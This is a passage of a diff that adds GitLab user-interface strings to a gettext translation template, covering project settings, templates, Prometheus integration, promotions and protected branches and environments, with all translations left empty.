+msgstr ""
+
+msgid "Profiles|e.g. My MacBook key"
+msgstr ""
+
+msgid "Profiles|username"
+msgstr ""
+
+msgid "Profiles|website.com"
+msgstr ""
+
+msgid "Profiles|your account"
+msgstr ""
+
+msgid "Profile|%{job_title} at %{organization}"
+msgstr ""
+
+msgid "Profiling - Performance bar"
+msgstr ""
+
+msgid "Programming languages used in this repository"
+msgstr ""
+
+msgid "Progress"
+msgstr ""
+
+msgid "Project"
+msgstr ""
+
+msgid "Project \"%{name}\" is no longer available. Select another project to continue."
+msgstr ""
+
+msgid "Project %{project_repo} could not be found"
+msgstr ""
+
+msgid "Project & Group can not be assigned at the same time"
+msgstr ""
+
+msgid "Project '%{project_name}' is being imported."
+msgstr ""
+
+msgid "Project '%{project_name}' is in the process of being deleted."
+msgstr ""
+
+msgid "Project '%{project_name}' is restored."
+msgstr ""
+
+msgid "Project '%{project_name}' queued for deletion."
+msgstr ""
+
+msgid "Project '%{project_name}' was successfully created."
+msgstr ""
+
+msgid "Project '%{project_name}' was successfully updated."
+msgstr ""
+
+msgid "Project '%{project_name}' will be deleted on %{date}"
+msgstr ""
+
+msgid "Project Access Tokens"
+msgstr ""
+
+msgid "Project Audit Events"
+msgstr ""
+
+msgid "Project Badges"
+msgstr ""
+
+msgid "Project Files"
+msgstr ""
+
+msgid "Project ID"
+msgstr ""
+
+msgid "Project Templates"
+msgstr ""
+
+msgid "Project URL"
+msgstr ""
+
+msgid "Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
+msgstr ""
+
+msgid "Project already deleted"
+msgstr ""
+
+msgid "Project and wiki repositories"
+msgstr ""
+
+msgid "Project avatar"
+msgstr ""
+
+msgid "Project cannot be shared with the group it is in or one of its ancestors."
+msgstr ""
+
+msgid "Project configuration, excluding integrations"
+msgstr ""
+
+msgid "Project description (optional)"
+msgstr ""
+
+msgid "Project details"
+msgstr ""
+
+msgid "Project does not exist or you don't have permission to perform this action"
+msgstr ""
+
+msgid "Project export could not be deleted."
+msgstr ""
+
+msgid "Project export enabled"
+msgstr ""
+
+msgid "Project export has been deleted."
+msgstr ""
+
+msgid "Project export link has expired. Please generate a new export from your project settings."
+msgstr ""
+
+msgid "Project export started. A download link will be sent by email and made available on this page."
+msgstr ""
+
+msgid "Project has too many %{label_for_message} to search"
+msgstr ""
+
+msgid "Project info:"
+msgstr ""
+
+msgid "Project is required when cluster_type is :project"
+msgstr ""
+
+msgid "Project members"
+msgstr ""
+
+msgid "Project milestone"
+msgstr ""
+
+msgid "Project name"
+msgstr ""
+
+msgid "Project name suffix"
+msgstr ""
+
+msgid "Project navigation"
+msgstr ""
+
+msgid "Project order will not be saved as local storage is not available."
+msgstr ""
+
+msgid "Project overview"
+msgstr ""
+
+msgid "Project path"
+msgstr ""
+
+msgid "Project scanning help page"
+msgstr ""
+
+msgid "Project security status"
+msgstr ""
+
+msgid "Project security status help page"
+msgstr ""
+
+msgid "Project slug"
+msgstr ""
+
+msgid "Project uploads"
+msgstr ""
+
+msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
+msgstr ""
+
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
+msgid "Project: %{name}"
+msgstr ""
+
+msgid "ProjectActivityRSS|Subscribe"
+msgstr ""
+
+msgid "ProjectCreationLevel|Allowed to create projects"
+msgstr ""
+
+msgid "ProjectCreationLevel|Default project creation protection"
+msgstr ""
+
+msgid "ProjectCreationLevel|Developers + Maintainers"
+msgstr ""
+
+msgid "ProjectCreationLevel|Maintainers"
+msgstr ""
+
+msgid "ProjectCreationLevel|No one"
+msgstr ""
+
+msgid "ProjectFileTree|Name"
+msgstr ""
+
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
+msgid "ProjectLastActivity|Never"
+msgstr ""
+
+msgid "ProjectLifecycle|Stage"
+msgstr ""
+
+msgid "ProjectOverview|Fork"
+msgstr ""
+
+msgid "ProjectOverview|Forks"
+msgstr ""
+
+msgid "ProjectOverview|Go to your fork"
+msgstr ""
+
+msgid "ProjectOverview|Star"
+msgstr ""
+
+msgid "ProjectOverview|Starrer"
+msgstr ""
+
+msgid "ProjectOverview|Starrers"
+msgstr ""
+
+msgid "ProjectOverview|Unstar"
+msgstr ""
+
+msgid "ProjectOverview|You have reached your project limit"
+msgstr ""
+
+msgid "ProjectOverview|You must sign in to star a project"
+msgstr ""
+
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
+msgid "ProjectPage|Project ID: %{project_id}"
+msgstr ""
+
+msgid "ProjectSelect| or group"
+msgstr ""
+
+msgid "ProjectSelect|Search for project"
+msgstr ""
+
+msgid "ProjectService|%{service_title}: status off"
+msgstr ""
+
+msgid "ProjectService|%{service_title}: status on"
+msgstr ""
+
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
+msgstr ""
+
+msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
+msgstr ""
+
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
+
+msgid "ProjectSettings|All discussions must be resolved"
+msgstr ""
+
+msgid "ProjectSettings|Allow"
+msgstr ""
+
+msgid "ProjectSettings|Allow editing commit messages"
+msgstr ""
+
+msgid "ProjectSettings|Always show thumbs-up and thumbs-down award emoji buttons on issues, merge requests, and snippets."
+msgstr ""
+
+msgid "ProjectSettings|Analytics"
+msgstr ""
+
+msgid "ProjectSettings|Automatically resolve merge request diff discussions when they become outdated"
+msgstr ""
+
+msgid "ProjectSettings|Badges"
+msgstr ""
+
+msgid "ProjectSettings|Build, test, and deploy your changes."
+msgstr ""
+
+msgid "ProjectSettings|Checkbox is visible and selected by default."
+msgstr ""
+
+msgid "ProjectSettings|Checkbox is visible and unselected by default."
+msgstr ""
+
+msgid "ProjectSettings|Choose your merge method, merge options, merge checks, and merge suggestions."
+msgstr ""
+
+msgid "ProjectSettings|Choose your merge method, merge options, merge checks, merge suggestions, and set up a default description template for merge requests."
+msgstr ""
+
+msgid "ProjectSettings|Commit authors can edit commit messages on unprotected branches."
+msgstr ""
+
+msgid "ProjectSettings|Configure your project resources and monitor their health."
+msgstr ""
+
+msgid "ProjectSettings|Contact an admin to change this setting."
+msgstr ""
+
+msgid "ProjectSettings|Container registry"
+msgstr ""
+
+msgid "ProjectSettings|Customize this project's badges."
+msgstr ""
+
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
+msgid "ProjectSettings|Disable email notifications"
+msgstr ""
+
+msgid "ProjectSettings|Do not allow"
+msgstr ""
+
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
+
+msgid "ProjectSettings|Enable merge trains"
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines"
+msgstr ""
+
+msgid "ProjectSettings|Encourage"
+msgstr ""
+
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
+
+msgid "ProjectSettings|Every project can have its own space to store its Docker images"
+msgstr ""
+
+msgid "ProjectSettings|Every project can have its own space to store its packages."
+msgstr ""
+
+msgid "ProjectSettings|Everyone"
+msgstr ""
+
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
+msgstr ""
+
+msgid "ProjectSettings|Failed to protect the tag"
+msgstr ""
+
+msgid "ProjectSettings|Failed to update tag!"
+msgstr ""
+
+msgid "ProjectSettings|Fast-forward merge"
+msgstr ""
+
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
+
+msgid "ProjectSettings|Forks"
+msgstr ""
+
+msgid "ProjectSettings|Git Large File Storage (LFS)"
+msgstr ""
+
+msgid "ProjectSettings|Global"
+msgstr ""
+
+msgid "ProjectSettings|Internal"
+msgstr ""
+
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
+msgid "ProjectSettings|Issues"
+msgstr ""
+
+msgid "ProjectSettings|LFS objects from this repository are available to forks. %{linkStart}How do I remove them?%{linkEnd}"
+msgstr ""
+
+msgid "ProjectSettings|Lightweight issue tracking system."
+msgstr ""
+
+msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
+msgstr ""
+
+msgid "ProjectSettings|Merge checks"
+msgstr ""
+
+msgid "ProjectSettings|Merge commit"
+msgstr ""
+
+msgid "ProjectSettings|Merge commit with semi-linear history"
+msgstr ""
+
+msgid "ProjectSettings|Merge method"
+msgstr ""
+
+msgid "ProjectSettings|Merge options"
+msgstr ""
+
+msgid "ProjectSettings|Merge requests"
+msgstr ""
+
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Merge suggestions"
+msgstr ""
+
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
+
+msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
+msgstr ""
+
+msgid "ProjectSettings|Only signed commits can be pushed to this repository."
+msgstr ""
+
+msgid "ProjectSettings|Operations"
+msgstr ""
+
+msgid "ProjectSettings|Override user notification preferences for all project members."
+msgstr ""
+
+msgid "ProjectSettings|Packages"
+msgstr ""
+
+msgid "ProjectSettings|Pages"
+msgstr ""
+
+msgid "ProjectSettings|Pages for project documentation."
+msgstr ""
+
+msgid "ProjectSettings|Pipelines must succeed"
+msgstr ""
+
+msgid "ProjectSettings|Private"
+msgstr ""
+
+msgid "ProjectSettings|Project visibility"
+msgstr ""
+
+msgid "ProjectSettings|Public"
+msgstr ""
+
+msgid "ProjectSettings|Repository"
+msgstr ""
+
+msgid "ProjectSettings|Require"
+msgstr ""
+
+msgid "ProjectSettings|Require an associated issue from Jira"
+msgstr ""
+
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system."
+msgstr ""
+
+msgid "ProjectSettings|Security & Compliance"
+msgstr ""
+
+msgid "ProjectSettings|Security & Compliance for this project"
+msgstr ""
+
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
+msgstr ""
+
+msgid "ProjectSettings|Share code with others outside the project."
+msgstr ""
+
+msgid "ProjectSettings|Show default award emojis"
+msgstr ""
+
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
+
+msgid "ProjectSettings|Skipped pipelines are considered successful"
+msgstr ""
+
+msgid "ProjectSettings|Snippets"
+msgstr ""
+
+msgid "ProjectSettings|Squash commits when merging"
+msgstr ""
+
+msgid "ProjectSettings|Squashing is always performed. Checkbox is visible and selected, and users cannot change it."
+msgstr ""
+
+msgid "ProjectSettings|Squashing is never performed and the checkbox is hidden."
+msgstr ""
+
+msgid "ProjectSettings|Submit changes to be merged upstream."
+msgstr ""
+
+msgid "ProjectSettings|Supported variables:"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
+msgstr ""
+
+msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
+msgstr ""
+
+msgid "ProjectSettings|This setting is applied on the server level but has been overridden for this project."
+msgstr ""
+
+msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
+msgstr ""
+
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Transfer project"
+msgstr ""
+
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
+msgid "ProjectSettings|Users can copy the repository to a new project."
+msgstr ""
+
+msgid "ProjectSettings|Users can only push commits to this repository that were committed with one of their own verified emails."
+msgstr ""
+
+msgid "ProjectSettings|Users can request access"
+msgstr ""
+
+msgid "ProjectSettings|View and edit files in this project."
+msgstr ""
+
+msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access."
+msgstr ""
+
+msgid "ProjectSettings|View project analytics."
+msgstr ""
+
+msgid "ProjectSettings|Visibility options for this fork are limited by the current visibility of the source project."
+msgstr ""
+
+msgid "ProjectSettings|Visualize the project's performance metrics."
+msgstr ""
+
+msgid "ProjectSettings|What are badges?"
+msgstr ""
+
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
+
+msgid "ProjectSettings|Wiki"
+msgstr ""
+
+msgid "ProjectSettings|With GitLab Pages you can host your static websites on GitLab."
+msgstr ""
+
+msgid "ProjectTemplates|.NET Core"
+msgstr ""
+
+msgid "ProjectTemplates|Android"
+msgstr ""
+
+msgid "ProjectTemplates|GitLab Cluster Management"
+msgstr ""
+
+msgid "ProjectTemplates|Gitpod/Spring Petclinic"
+msgstr ""
+
+msgid "ProjectTemplates|Go Micro"
+msgstr ""
+
+msgid "ProjectTemplates|HIPAA Audit Protocol"
+msgstr ""
+
+msgid "ProjectTemplates|Kotlin Native for Linux"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/GitBook"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Hexo"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Hugo"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Jekyll"
+msgstr ""
+
+msgid "ProjectTemplates|Netlify/Plain HTML"
+msgstr ""
+
+msgid "ProjectTemplates|NodeJS Express"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Gatsby"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/GitBook"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Hexo"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Hugo"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Jekyll"
+msgstr ""
+
+msgid "ProjectTemplates|Pages/Plain HTML"
+msgstr ""
+
+msgid "ProjectTemplates|Ruby on Rails"
+msgstr ""
+
+msgid "ProjectTemplates|SalesforceDX"
+msgstr ""
+
+msgid "ProjectTemplates|Sample GitLab Project"
+msgstr ""
+
+msgid "ProjectTemplates|Serverless Framework/JS"
+msgstr ""
+
+msgid "ProjectTemplates|Spring"
+msgstr ""
+
+msgid "ProjectTemplates|Static Site Editor/Middleman"
+msgstr ""
+
+msgid "ProjectTemplates|iOS (Swift)"
+msgstr ""
+
+msgid "Projects"
+msgstr ""
+
+msgid "Projects (%{count})"
+msgstr ""
+
+msgid "Projects Successfully Retrieved"
+msgstr ""
+
+msgid "Projects are graded based on the highest severity vulnerability present"
+msgstr ""
+
+msgid "Projects shared with %{group_name}"
+msgstr ""
+
+msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
+msgstr ""
+
+msgid "Projects to index"
+msgstr ""
+
+msgid "Projects will be permanently deleted after a %{waiting_period}-day waiting period."
+msgstr ""
+
+msgid "Projects will be permanently deleted immediately."
+msgstr ""
+
+msgid "Projects with critical vulnerabilities"
+msgstr ""
+
+msgid "Projects with high or unknown vulnerabilities"
+msgstr ""
+
+msgid "Projects with low vulnerabilities"
+msgstr ""
+
+msgid "Projects with medium vulnerabilities"
+msgstr ""
+
+msgid "Projects with no vulnerabilities and security scanning enabled"
+msgstr ""
+
+msgid "Projects with write access"
+msgstr ""
+
+msgid "ProjectsDropdown|Frequently visited"
+msgstr ""
+
+msgid "ProjectsDropdown|Loading projects"
+msgstr ""
+
+msgid "ProjectsDropdown|Projects you visit often will appear here"
+msgstr ""
+
+msgid "ProjectsDropdown|Search your projects"
+msgstr ""
+
+msgid "ProjectsDropdown|Something went wrong on our end."
+msgstr ""
+
+msgid "ProjectsDropdown|Sorry, no projects matched your search"
+msgstr ""
+
+msgid "ProjectsDropdown|This feature requires browser localStorage support"
+msgstr ""
+
+msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
+msgstr ""
+
+msgid "ProjectsNew|Blank"
+msgstr ""
+
+msgid "ProjectsNew|Blank project"
+msgstr ""
+
+msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
+msgstr ""
+
+msgid "ProjectsNew|Contact an administrator to enable options for importing your project."
+msgstr ""
+
+msgid "ProjectsNew|Create"
+msgstr ""
+
+msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
+msgstr ""
+
+msgid "ProjectsNew|Create blank project"
+msgstr ""
+
+msgid "ProjectsNew|Create from template"
+msgstr ""
+
+msgid "ProjectsNew|Create new project"
+msgstr ""
+
+msgid "ProjectsNew|Creating project & repository."
+msgstr ""
+
+msgid "ProjectsNew|Description format"
+msgstr ""
+
+msgid "ProjectsNew|Import"
+msgstr ""
+
+msgid "ProjectsNew|Import project"
+msgstr ""
+
+msgid "ProjectsNew|Initialize repository with a README"
+msgstr ""
+
+msgid "ProjectsNew|No import options available"
+msgstr ""
+
+msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgstr ""
+
+msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
+msgstr ""
+
+msgid "ProjectsNew|Run CI/CD for external repository"
+msgstr ""
+
+msgid "ProjectsNew|Template"
+msgstr ""
+
+msgid "ProjectsNew|Visibility Level"
+msgstr ""
+
+msgid "ProjectsNew|Want to house several dependent projects under the same namespace? %{link_start}Create a group.%{link_end}"
+msgstr ""
+
+msgid "Prometheus"
+msgstr ""
+
+msgid "PrometheusAlerts|%{count} alerts applied"
+msgstr ""
+
+msgid "PrometheusAlerts|%{firingCount} firing"
+msgstr ""
+
+msgid "PrometheusAlerts|Add alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Edit alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error creating alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error deleting alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error fetching alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Error saving alert"
+msgstr ""
+
+msgid "PrometheusAlerts|Firing: %{alerts}"
+msgstr ""
+
+msgid "PrometheusAlerts|Firing: %{alert}"
+msgstr ""
+
+msgid "PrometheusAlerts|Operator"
+msgstr ""
+
+msgid "PrometheusAlerts|Runbook URL (optional)"
+msgstr ""
+
+msgid "PrometheusAlerts|Select query"
+msgstr ""
+
+msgid "PrometheusAlerts|Threshold"
+msgstr ""
+
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgstr ""
+
+msgid "PrometheusService|Active"
+msgstr ""
+
+msgid "PrometheusService|Auto configuration"
+msgstr ""
+
+msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
+msgstr ""
+
+msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
+msgstr ""
+
+msgid "PrometheusService|Common metrics"
+msgstr ""
+
+msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
+msgstr ""
+
+msgid "PrometheusService|Custom metrics"
+msgstr ""
+
+msgid "PrometheusService|Custom metrics require Prometheus installed on a cluster with environment scope \"*\" OR a manually configured Prometheus to be available."
+msgstr ""
+
+msgid "PrometheusService|Enable Prometheus to define custom metrics, using either option above"
+msgstr ""
+
+msgid "PrometheusService|Finding and configuring metrics..."
+msgstr ""
+
+msgid "PrometheusService|Finding custom metrics..."
+msgstr ""
+
+msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
+msgstr ""
+
+msgid "PrometheusService|GitLab manages Prometheus on your clusters."
+msgstr ""
+
+msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
+msgstr ""
+
+msgid "PrometheusService|Install Prometheus on clusters"
+msgstr ""
+
+msgid "PrometheusService|Manage clusters"
+msgstr ""
+
+msgid "PrometheusService|Manual configuration"
+msgstr ""
+
+msgid "PrometheusService|Metrics"
+msgstr ""
+
+msgid "PrometheusService|Missing environment variable"
+msgstr ""
+
+msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
+msgstr ""
+
+msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
+msgstr ""
+
+msgid "PrometheusService|More information"
+msgstr ""
+
+msgid "PrometheusService|New metric"
+msgstr ""
+
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
+msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
+msgstr ""
+
+msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
+msgstr ""
+
+msgid "PrometheusService|Select this checkbox to override the auto configuration settings with your own settings."
+msgstr ""
+
+msgid "PrometheusService|The Prometheus API base URL."
+msgstr ""
+
+msgid "PrometheusService|The contents of the credentials.json file of your service account."
+msgstr ""
+
+msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
+msgstr ""
+
+msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgstr ""
+
+msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
+msgstr ""
+
+msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
+msgstr ""
+
+msgid "PrometheusService|https://prometheus.example.com/"
+msgstr ""
+
+msgid "PrometheusService|{ \"type\": \"service_account\", \"project_id\": ... }"
+msgstr ""
+
+msgid "Promote"
+msgstr ""
+
+msgid "Promote confidential issue to a non-confidential epic"
+msgstr ""
+
+msgid "Promote issue to an epic"
+msgstr ""
+
+msgid "Promote to epic"
+msgstr ""
+
+msgid "Promote to group label"
+msgstr ""
+
+msgid "PromoteMilestone|Only project milestones can be promoted."
+msgstr ""
+
+msgid "PromoteMilestone|Project does not belong to a group."
+msgstr ""
+
+msgid "PromoteMilestone|Promotion failed - %{message}"
+msgstr ""
+
+msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
+msgstr ""
+
+msgid "Promoted issue to an epic."
+msgstr ""
+
+msgid "Promotion is not supported."
+msgstr ""
+
+msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
+msgstr ""
+
+msgid "Promotions|Buy EE"
+msgstr ""
+
+msgid "Promotions|Buy GitLab Enterprise Edition"
+msgstr ""
+
+msgid "Promotions|Contact an owner of group %{namespace_name} to upgrade the plan."
+msgstr ""
+
+msgid "Promotions|Contact owner %{link_start}%{owner_name}%{link_end} to upgrade the plan."
+msgstr ""
+
+msgid "Promotions|Contact your Administrator to upgrade your license."
+msgstr ""
+
+msgid "Promotions|Dismiss burndown charts promotion"
+msgstr ""
+
+msgid "Promotions|Don't show me this again"
+msgstr ""
+
+msgid "Promotions|Epics let you manage your portfolio of projects more efficiently and with less effort by tracking groups of issues that share a theme, across projects and milestones."
+msgstr ""
+
+msgid "Promotions|Improve issues management with Issue weight and GitLab Enterprise Edition."
+msgstr ""
+
+msgid "Promotions|Improve milestones with Burndown Charts."
+msgstr ""
+
+msgid "Promotions|Learn more"
+msgstr ""
+
+msgid "Promotions|Not now, thanks!"
+msgstr ""
+
+msgid "Promotions|See the other features in the %{subscription_link_start}bronze plan%{subscription_link_end}"
+msgstr ""
+
+msgid "Promotions|Start GitLab Ultimate trial"
+msgstr ""
+
+msgid "Promotions|This feature is locked."
+msgstr ""
+
+msgid "Promotions|Track activity with Contribution Analytics."
+msgstr ""
+
+msgid "Promotions|Try it for free"
+msgstr ""
+
+msgid "Promotions|Upgrade plan"
+msgstr ""
+
+msgid "Promotions|Upgrade your plan to activate Contribution Analytics."
+msgstr ""
+
+msgid "Promotions|Upgrade your plan to improve milestones with Burndown Charts."
+msgstr ""
+
+msgid "Promotions|Weight"
+msgstr ""
+
+msgid "Promotions|Weighting your issue"
+msgstr ""
+
+msgid "Promotions|When you have a lot of issues, it can be hard to get an overview. By adding a weight to your issues, you can get a better idea of the effort, cost, required time, or value of each, and so better manage them."
+msgstr ""
+
+msgid "Promotions|With Contribution Analytics you can have an overview for the activity of issues, merge requests, and push events of your organization and its members."
+msgstr ""
+
+msgid "Prompt users to upload SSH keys"
+msgstr ""
+
+msgid "Protect"
+msgstr ""
+
+msgid "Protect a tag"
+msgstr ""
+
+msgid "Protect variable"
+msgstr ""
+
+msgid "Protected"
+msgstr ""
+
+msgid "Protected Branch"
+msgstr ""
+
+msgid "Protected Branches"
+msgstr ""
+
+msgid "Protected Environment"
+msgstr ""
+
+msgid "Protected Paths"
+msgstr ""
+
+msgid "Protected Tag"
+msgstr ""
+
+msgid "Protected Tags"
+msgstr ""
+
+msgid "Protected branches"
+msgstr ""
+
+msgid "Protected environments"
+msgstr ""
+
+msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to merge"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to merge:"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to push:"
+msgstr ""
+
+msgid "ProtectedBranch|Branch"
+msgstr ""
+
+msgid "ProtectedBranch|Branch:"
+msgstr ""
+
+msgid "ProtectedBranch|Code owner approval"
+msgstr ""
+
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
+msgstr ""
+
+msgid "ProtectedBranch|Protect"
+msgstr ""
+
+msgid "ProtectedBranch|Protect a branch"
+msgstr ""
+
+msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
+msgstr ""
+
+msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
+msgstr ""
+
+msgid "ProtectedBranch|Require approval from code owners:"
+msgstr ""
+
+msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
+msgstr ""
+
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Toggle code owner approval"
+msgstr ""
+
+msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
+msgstr ""
+
+msgid "ProtectedEnvironment|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironment|Environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Only specified users can execute deployments in a protected environment."
+msgstr ""
+
+msgid "ProtectedEnvironment|Protect"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protect an environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Protected Environment (%{protected_environments_count})"
+msgstr ""
+
+msgid "ProtectedEnvironment|Select an environment"
+msgstr ""
+
+msgid "ProtectedEnvironment|Select users"
+msgstr ""
+
+msgid "ProtectedEnvironment|Select users to deploy and manage Feature Flag settings"
+msgstr ""
+
+msgid "ProtectedEnvironment|There are currently no protected environments. Protect an environment with this form."
+msgstr ""
+
+msgid "ProtectedEnvironment|Unprotect"
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment can't be unprotected"
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment has been protected."
+msgstr ""
+
+msgid "ProtectedEnvironment|Your environment has been unprotected"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgstr ""
+
+msgid "Protocol"
+msgstr ""
+
+msgid "Provider"
+msgstr ""
+
+msgid "Proxy support for this API is not available currently"
+msgstr ""
+
+msgid "Pseudonymizer data collection"
+msgstr ""
+
+msgid "Public"
+msgstr ""
+
+msgid "Public - The group and any public projects can be viewed without any authentication."
+msgstr ""
+
+msgid "Public - The project can be accessed without any authentication."
+msgstr ""
+
+msgid "Public Access Help"
+msgstr ""
+
+msgid "Public deploy keys (%{deploy_keys_count})"
+msgstr ""
+
